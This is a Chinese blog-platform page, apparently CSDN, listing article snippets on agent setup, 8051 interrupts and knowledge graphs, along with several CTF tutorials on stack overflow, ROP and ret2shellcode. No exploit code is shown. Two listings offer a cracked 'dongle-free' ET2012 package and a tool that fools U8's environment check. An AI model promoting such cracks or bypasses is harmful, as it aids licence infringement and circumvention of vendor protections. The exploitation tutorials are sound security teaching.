在上一篇《Agent智能体开发入门:概念、应用与前景》中,我们描绘了Agent智能体的宏伟蓝图,理解了其作为“数字员工”的巨大潜力。然而,许多开发者在迈出第一步时,常常被复杂的依赖、版本冲突和晦涩的配置所劝退,空有想法却无从下手。这种感觉就像拿到了一张藏宝图,却找不到出发的港口。本文正是你的“启航指南”。我们将彻底解决这个痛点,通过一个清晰、可复现的流程,为你搭建一个专为Agent开发量身定制的Python环境。一个纯净、隔离的Python虚拟环境,避免项目间的“依赖地狱”。一套经过验证的核心工具链。

G_RE_RE的博客 111

【Proteus仿真】AT89C51单片机中断系列仿真——INT0中断控制LED小灯/INT0和INT1中断控制数码管

本文介绍了基于51单片机外部中断(INT0/INT1)的四个实践案例:1)INT0控制LED开关;2)INT0中断实现数码管计数/清零;3)INT0中断构建秒表功能(启动/暂停/清零);4)INT0/INT1双中断独立控制两组数码管计数。每个案例包含电路原理图、接线说明及完整源代码,重点演示了外部中断在硬件控制中的应用方法。附加硬件工程师笔试面试资料链接,涵盖器件知识、Multisim教程等内容,适合嵌入式学习者参考实践。(149字)

XU157303764的博客 1911

从栈溢出到ROP:深入NX绕过与返回导向编程实战

在现代二进制安全防护体系中,NX(不可执行内存)已成为阻止栈上代码执行的基石,但这并不意味着攻击路径被彻底封死。Return-Oriented Programming(ROP)通过复用程序内已有的机器码片段,以ret指令串联gadget,在无需写入可执行代码的前提下完成任意调用。理解ROP的核心,在于把握栈布局、调用约定与gadget选址的底层逻辑,从经典的ret2libc到复杂链构造,均围绕这一原理展开。在CTF竞赛、漏洞利用与系统防御中,ROP是连接攻击面与缓解机制的关键桥梁。本文从一个开启NX的典型示

weixin_29165725的博客 205

【大模型+知识图谱】大模型与知识图谱融合:技术演进、实践应用与未来挑战

大模型与知识图谱的融合不是简单拼接,而是认知智能的范式重构。当符号主义的精确性与连接主义的泛化能力深度交织,我们正站在通向可信AGI的关键路口。正如OpenKG技术委员会王昊奋教授所言:“2025年将是图模协同从技术探索走向规模落地的分水岭”。参考文献OpenKG 2024年度报告(同济大学王昊奋)大型语言模型与知识图谱协同研究综述(海豚实验室,2024)知识图谱与大模型结合方法概述(黄巍,2023)图模互补:知识图谱与大模型融合综述(优快云,2024)

知识靠谱的博客 1092

rop检查_CTF必备技能丨Linux Pwn入门教程——ROP技术(上)

Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的pyth...

weixin_39559486的博客 279

如何从 VMware 官网下载最新版本的 VMware Workstation

如何从 VMware 官网下载 VMware Workstation

XiaoqiangClub的博客 5902

时间序列预测 — 预测数据集(负荷、风电、光伏、销量等)

GEFCom2014 “负荷预测数据”为竞赛的公共数据集,GEFCom2014 的负荷预测轨迹为概率负荷预测。

几度春风里的博客 2万+

从ASCII截断绕过到栈溢出ROP:babyrop漏洞利用实战解析

在C语言程序中,字符串处理函数(如strncmp、strlen)以\x00作为终止符的特性,常被开发者忽略,却可能成为绕过逻辑校验的关键突破口。攻击者利用这一特性构造特殊输入,让比较或长度检查提前结束,从而避开安全限制。这种思路在CTF PWN领域的栈溢出利用中尤为常见,也是理解ROP(Return-Oriented Programming)攻击的基础。ROP通过复用程序或libc中已有的指令片段,在NX开启的环境下仍能实现任意代码执行。从协议解析中的格式绕过,到真实漏洞利用中的输入校验规避,ASCII截断

weixin_29172201的博客 284

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

CTF必备技能丨Linux Pwn入门教程——ROP技术(上)

Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。 教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,...

dfdhxb995397的博客 1192

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

[PWN][进阶篇]ROP_Ret2Shellcode-32实例

ROP_Ret2Shellcode-32实例一、相关知识二、实例教学 一、相关知识 之前我们说过ret2text漏洞是依赖于程序中存在执行 system("/bin/sh")的函数,那么如何解决ret2text的局限性 ret2textshellcode 没有执行shell的函数,没有开启NX保护 传入自定义的shellcode ret2libc 开启NX(可写的不可执行) 使用libc函数,leak libc + ROP 什么是shellcode? 通常是开启一个shell Linux的系统调用 /usr

网络安全知识分享 3338

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

栈溢出到ROP:Pwn入门题实战全解析

栈溢出是二进制安全领域最基础的漏洞类型,源于程序对缓冲区边界检查不足,导致攻击者能覆盖返回地址劫持控制流。面对NX这类常见内存保护,直接执行栈上shellcode已不可行,ROP(面向返回编程)则通过复用已有指令片段构建攻击链,成为绕过保护的核心技术。在CTF Pwn方向中,掌握栈溢出和ROP是入门第一道槛。本文以经典题目get_started_3dsctf_2016为例,完整演示了从checksec识别保护、cyclic计算偏移,到利用read与mprotect系统调用构造ROP链,最终在bss段执行sh

weixin_28721917的博客 233
上一篇: 深入解析sprintf格式化字符串带来的注入隐患
下一篇: ESP定律原理详解,只看这一篇文章就够了
网安小当家
博客等级 码龄4年 6粉丝 18原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值